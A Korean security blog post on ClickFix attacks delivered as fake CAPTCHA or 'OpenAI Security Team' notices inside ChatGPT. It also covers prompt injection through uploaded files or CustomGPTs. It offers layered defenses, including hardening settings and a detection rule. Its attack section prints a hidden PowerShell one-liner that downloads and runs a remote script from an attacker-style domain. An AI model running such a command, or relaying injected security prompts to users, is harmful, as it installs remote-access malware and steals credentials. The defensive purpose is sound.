[태그:] 클릭픽스 공격

  • ChatGPT가 멀웨어를 흘려보낸다: 클릭픽스 공격에 무방비한 MSP가 첫 72시간에 잃는 것들

    ChatGPT가 멀웨어를 흘려보낸다: 클릭픽스 공격에 무방비한 MSP가 첫 72시간에 잃는 것들

    핵심 요약

    • structural_causes: AI 어시스턴트는 기존의 신뢰 경계(trust boundary)를 무너뜨린다. 사용자는 정상 도메인(chatgpt.com) 안에서, 공식 어시스턴트 응답 형식으로 출력된 안내를 서비스 자체의 메시지로 동일시하며, ‘정상 답변 도중 갑자기 삽입된 단락’이라는 점에서 진위를 가를 단서가 사실상 사라진다. 여기에 CustomGPT·플러그인·Skills 같은 확장 기능과, 사용자가 업로드한 문서(PPTX·PDF 등)에 은밀히 심어지는 프롬프트 인젝션이 모델 출력을 오염시키는 경로가 동시에 존재한다. 즉 ① 도메인 신뢰(chatgpt.com) ② UI 형식 신뢰(‘OpenAI Security Team’ 사인) ③ LLM 출력 신뢰라는 세 겹의 환각이 결합되어, 전통적인 피싱 교육의 ‘URL을 봐라·발신인을 봐라’ 원칙이 무력화된다.
    • resolution_framework: ① 1차 신호 분류: 대화창 안에서 ‘CAPTCHA·보안 인증·재로그인·추가 다운로드·계정 정지’ 키워드가 등장하면 무조건 의심 객체로 분류하고, 본문 내 링크 클릭·코드 복사·QR 스캔을 즉시 중단한다. ② 공식 경로 우회 검증: 안내가 떴다면 새 탭에서 공식 도메인(chatgpt.com, claude.ai, gemini.google.com)을 직접 입력해 공지·이메일·관리 콘솔과 대조하며, 대화창 내 ‘로그인’ 버튼이 외부 도메인으로 연결되는지 URL을 반드시 텍스트로 확인한다. ③ 호스트/엔드포인트 계층: PowerShell Constrained Language Mode·WDAC·AppLocker로 스크립트 실행을 제한하고, Script Block Logging(Event 4104)·Process Creation(4688)·AMSI 텔레메트리를 EDR로 전송해 iex·Invoke-Expression·Invoke-RestMethod 패턴을 실시간 차단한다. ④ 네트워크/EDR 계층: 신규 등록 도메인·비정상 카테고리에 대한 DNS sinkhole 및 egress 필터링을 적용하고, ClickFix 의심 행위(브라우저→클립보드→터미널 체인) 발생 시 자동 격리한다. ⑤ AI 거버넌스 계층: 사내 허용 CustomGPT·Plugin·Skills 목록을 화이트리스트로 잠그고, 업로드 문서에 대한 프롬프트 인젝션 검사 파이프라인을 검토한다.
    • antipatterns: ‘공식 도메인 안에서 떴으니 진짜 보안 안내일 것이다’라고 추론하고 안내를 따라가는 행위가 가장 흔한 결정적 실수다. EDR 알림이 ‘업무 방해’라고 일시 정지되거나 무시되는 운영, CustomGPT를 검증 없이 사내에 풀고 재평가를 생략하는 운영, PowerShell CLM·WDAC·AppLocker를 ‘개발자 불편’ 이유로 비활성화해 두는 운영, AI 어시스턴트 안내를 신뢰 경계 밖에 두지 않아 SIEM/EDR 탐지 룰에 반영하지 않는 운영이 사고를 키우는 대표 안티패턴이다. 또한 ‘사용자 교육을 한 번 했으니 됐다’는 일회성 인식 훈련과, ‘링크만 보지 마라’ 수준에서 끝나는 구세대 피싱 교육만으로는 AI 내부 피싱을 막을 수 없는 것으로 분석된다.

    AI 대화창 내부에 표시되는 ‘보안 인증·CAPTCHA·추가 확인’ 안내는 그 자체로 적색 신호이며, 어떤 출처에서 왔든 Windows Terminal에 명령을 붙여넣으라고 요구하는 행위는 즉시 거부해야 한다는 원칙이 EDR보다 한 층 앞서는 1차 방어선이다.

    목차

    평화로운 화요일 오후, 회계 담당자가 ChatGPT에 “이번 분기 비용 정리 도와줘”라고 입력한다. 공식 도메인 chatgpt.com 안에서 ‘OpenAI Security Team’ 사인이 붙은 안내가 정상 답변 사이에 슬쩍 끼어든다. “계정 보안을 위해 CAPTCHA 인증을 완료해 주세요”라는 문구와 함께 버튼 하나가 보이고, 클릭하는 순간 가짜 OpenAI 로그인 페이지로 이동한다. 그 페이지가 안내하는 절차는 ‘Win+X → Windows PowerShell → Ctrl+V → Enter’다.

    안내에 따라 붙여넣은 한 줄의 PowerShell 명령은 회사 PC를 RAT(원격 접근 트로이목마)로 만들어 버린다. 전통적인 피싱 교육이 무력화되는 지점이 바로 여기다. URL도 chatgpt.com, 발신인도 OpenAI, 메시지 형식도 공식 어시스턴트 출력처럼 보이기 때문이다.

    보안 실무자 입장에서 더 무서운 부분은, 이 공격이 ‘한 번의 경계 실수’가 아니라 도메인 신뢰·UI 형식 신뢰·LLM 출력 신뢰라는 3중 환각이 결합된다는 점이다. EDR이 ‘업무 방해’라며 알림을 잠시 꺼둔 새벽 시간, CustomGPT 검증 없이 풀어둔 사내 GPT 스토어, PowerShell Constrained Language Mode를 ‘개발자 불편’으로 비활성화해 둔 호스트 — 이 세 가지가 한꺼번에 갖춰진 환경에서는 한 번의 클릭이 사고 보고서 한 장으로 직결된다. Huntress가 보고한 ChatGPT 내부 ClickFix 침해 사례에서도 가짜 인증 안내는 EDR이 2회 차단했지만, 호스트 하드닝이 없었더라면 첫 실행부터 그대로 작동했을 가능성이 높았다.

    왜 AI 화면 안의 안내는 더 위험한가

    전통 피싱 교육의 황금률은 ‘발신인·URL·첨부파일을 확인하라’다. 그러나 chatgpt.com 정상 도메인 안에서, 공식 어시스턴트 응답 형식으로 출력된 ‘보안 인증’ 안내는 이 세 가지 단서를 동시에 통과한다. 사용자는 본문 단락으로 자연스럽게 읽고, ‘로그인’ 버튼이 외부 도메인으로 연결된다는 사실은 호버하지 않는 한 알 수 없다. 더구나 CustomGPT·Skills·플러그인 같은 확장 기능과, 사용자가 업로드한 PDF·PPTX에 은밀히 심어지는 프롬프트 인젝션이 모델 출력을 오염시키는 경로가 동시에 존재한다. 모델이 생성한 문장 자체가 공격 매개체가 되는 셈이다.

    이런 환경에서 ‘링크만 보지 마라’ 수준의 피싱 훈련은 소용이 없다. 진위를 가를 단서 자체가 화면에 존재하지 않기 때문이다. EDR의 ‘파워셸 차단’ 룰 한 줄과 사용자 인식 훈련 한 번만으로는, LLM이 만들어낸 새로운 공격 표면을 막을 수 없다. 엔지니어링 관점에서 필요한 것은 사용자·호스트·EDR·AI 거버넌스 4개 계층이 동시에 작동하는 방어망이며, 챗GPT가 보낸 해결책을 그대로 실행해야 하는지 판단하는 3축 구조가 이 거버넌스 계층의 출발점이다.

    공격 해부: ClickFix 체인과 프롬프트 인젝션

    클릭픽스 공격의 본체는 단순하다. 브라우저가 ‘검증되지 않은 봇입니다, 자동화가 의심됩니다’라는 메시지를 띄우고, 사용자에게 ‘검증 통과’를 위해 ‘Win+X → Windows Terminal → 이 코드 붙여넣기’ 순서를 안내한다. 페이로드는 보통 다음과 같은 형태다.

    powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://cdn-analytics-help[.]com/setup.ps1')"

    이 한 줄이 iex (Invoke-Expression) 체이닝, DownloadString 호출, 그리고 외부 도메인에서 추가 스크립트를 받아오는 구조를 한 번에 수행한다. 정상 도메인에서 안내된 인증 절차였기 때문에, 사용자는 ‘회사에서 시키는 보안 절차’쯤으로 받아들이고 Enter를 누른다. 이 시점부터 백그라운드에서 RAT가 설치되고, 자격증명이 exfiltrate 된다. Huntress가 분석한 사례에서는 ChatGPT 대화창 내부의 ‘OpenAI Security Team’ 사인 아래 ‘이 CAPTCHA를 완료해 주세요’ 메시지가 정상 답변 흐름 중에 출력되었고, 클릭한 사용자는 가짜 페이지에서 ClickFix 안내를 받은 뒤 PowerShell 페이로드를 실행했다. 같은 흐름은 CustomGPT가 업로드 문서에서 프롬프트 인젝션에 감염된 경우, 정상 대화 도중 모델이 자발적으로 ‘보안 확인 절차’를 출력하면서 발생한다.

    실무 방어 4계층

    1계층 사용자·교육에서는 “어떤 출처에서 왔든 Windows Terminal에 명령 붙여넣기를 요구하는 모든 안내 = 100% 악성”이라는 원칙을 모의 훈련으로 반복 각인해야 한다. AI 대화창 안에서 ‘CAPTCHA·보안 인증·재로그인·계정 정지’ 키워드가 등장하면 무조건 적색 신호로 분류하고, 본문 내 링크 클릭·코드 복사·QR 스캔을 즉시 중단한다. 안내가 떴다면 새 탭에서 공식 도메인 chatgpt.com·claude.ai·gemini.google.com을 직접 입력해 공지·이메일과 대조한다.

    2계층 호스트 하드닝은 즉시 적용 가능한 항목이다. Windows 호스트에서는 PowerShell Constrained Language Mode를 강제하고, WDAC 또는 AppLocker로 스크립트·바이너리 실행 정책을 잠근다. 다음은 GPO나 Intune 정책으로 배포할 수 있는 설정 예시다.

    {
      "PowerShell": {
        "ScriptBlockLogging": { "EnableScriptBlockLogging": true },
        "ModuleLogging": { "EnableModuleLogging": true, "ModuleNames": ["*"] },
        "ExecutionPolicy": "RemoteSigned",
        "LanguageMode": "ConstrainedLanguage"
      },
      "AppLocker": {
        "Enabled": true,
        "Rules": [{
          "Publisher": "O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US",
          "ProductName": "WINDOWS POWERSHELL",
          "BinaryName": "POWERSHELL.EXE"
        }]
      }
    }

    Script Block Logging(Event ID 4104)과 Process Creation(4688)을 활성화해 AMSI 텔레메트리를 EDR로 전송하면, iex·Invoke-Expression·Invoke-RestMethod·DownloadString 같은 키워드와 iex (iwr ...) 체이닝 패턴을 실시간으로 차단할 수 있다. CrowdStrike Falcon·SentinelOne Singularity·Microsoft Defender for Endpoint 모두 iex 패턴을 기본 룰로 갖고 있지만, PowerShell CLM이 비활성화돼 있으면 우회 가능성이 커진다는 점을 명심해야 한다.

    3계층 EDR·네트워크 egress에서는 DNS sinkhole과 egress 필터링이 핵심이다. Cisco Umbrella·Cloudflare Gateway·Zscaler ZIA로 신규 등록 도메인·비정상 카테고리에 대한 아웃바운드를 차단하고, EDR이 브라우저→클립보드→터미널 체인을 감지하면 엔드포인트를 자동 격리한다. 룰 예시는 다음과 같다.

    detection_rule:
      name: ClickFix_ClipboardToPowerShell
      severity: high
      logic:
        sequence:
          - event: process.create
            filter: image in ["powershell.exe", "pwsh.exe"]
          - event: clipboard.read
            filter: source_process.parent.image in ["msedge.exe", "chrome.exe"]
            within: 60_seconds
      response:
        action: isolate_host
        notify: soc@company.com

    4계층 AI 거버넌스에서는 사내 허용 CustomGPT·Plugin·Skills를 화이트리스트로 잠그고, OpenAI Workspace·Anthropic Console·Google Workspace 관리 콘솔에서 사용자 단위 설정을 강제해야 한다. 업로드 문서에 대한 DLP·프롬프트 인젝션 검사 파이프라인(Prompt Armor·Lakera Guard·Rebuff·Cloudflare AI Gateway)을 검토하고, 의심스러운 ‘Assistant 지시문’ 패턴(외부 URL 안내·코드 붙여넣기 권고)에 대한 출력 필터 룰을 운영한다.

    안티패턴과 사고 후 포렌식

    가장 흔한 결정적 실수는 ‘공식 도메인 안에서 떴으니 진짜 보안 안내일 것이다’라는 추론이다. EDR 알림이 ‘업무 방해’라고 일시 정지되거나 무시되는 운영, CustomGPT를 검증 없이 사내에 풀고 재평가를 생략하는 운영, PowerShell CLM·WDAC·AppLocker를 ‘개발자 불편’ 이유로 비활성화해 두는 운영, AI 어시스턴트 안내를 신뢰 경계 밖에 두지 않아 SIEM/EDR 탐지 룰에 반영하지 않는 운영이 사고를 키운다. ‘사용자 교육을 한 번 했으니 됐다’는 일회성 인식 훈련도 마찬가지 효과를 낸다. 피싱 모의훈련 반복 실패자를 시스템으로 관리하는 절차가 별도 글에서 다루는 것처럼, 클릭픽스 공격은 교육이 아닌 시스템 차단으로 막아야 하는 사안이다.

    지금 바로 해볼 것

    • Windows 호스트 전사에 PowerShell Constrained Language Mode + Script Block Logging(Event 4104)을 GPO/Intune으로 일괄 적용하고, 변경 전후 iex·Invoke-Expression 차단 로그를 EDR 콘솔에서 확인한다.
    • CrowdStrike·Defender·SentinelOne 정책에 ‘브라우저 자식 프로세스 → 클립보드 read → powershell.exe 실행’ 60초 윈도우 시퀀스 룰을 추가하고, 트리거 시 자동 isolate_host 액션을 켠다.
    • Cisco Umbrella·Cloudflare Gateway DNS sinkhole에 신규 등록 도메인(등록 30일 이내) 카테고리를 등록하고, EDR의 신규 egress 연결 로그와 교차 조회한다.
    • OpenAI Workspace·Anthropic Console·Google Workspace 관리 콘솔에서 사내 CustomGPT/Plugin/Skills 화이트리스트를 적용하고, 사용자 단위 외부 GPT 공유를 차단한다.
    • 피싱 모의훈련 시나리오에 ‘AI 대화창 내부 가짜 CAPTCHA + PowerShell 붙여넣기’ 항목을 추가하고, 클릭률·보고 MTTR을 KPI로 분기별 추적한다.

    자주 묻는 질문

    PowerShell CLM을 켜면 사내 운영 스크립트가 막히지 않나요?

    사내 서명된 스크립트는 서명 기반으로 예외 처리하고, 개발자 PC에는 별도 보안 그룹으로 분리해 WDAC 보조 정책으로 풀어주는 방식이 일반적이다. 핵심은 도메인 컨트롤러·DC 권한이 있는 계정과 일반 사용자 PC의 정책 분리다.

    EDR이 이미 iex 패턴을 잡는데 egress 필터링까지 필요한가요?

    EDR은 호스트 단위 차단이고 egress 필터링은 페이로드 다운로드 단계의 인라인 차단이다. 두 계층이 동시에 작동해야 첫 실행 차단 실패 시에도 C2 채널을 끊을 수 있다. 특히 신규 등록 도메인에 대한 sinkhole은 EDR 시그니처 갭 기간의 안전망 역할을 한다.

    CustomGPT 화이트리스트 운영을 어떻게 시작해야 하나요?

    OpenAI Workspace의 ‘Settings → Only verified GPTs’ 또는 ‘Block third-party GPTs’ 옵션으로 시작하고, 사내 필수 GPT는 별도 보안 심의(데이터 처리 위치·업로드 가능 파일 종류·외부 호출 여부)를 통과한 후에만 화이트리스트에 추가한다. 분기 1회 재평가 일정을 캘린더에 잠그는 것이 운영의 핵심이다.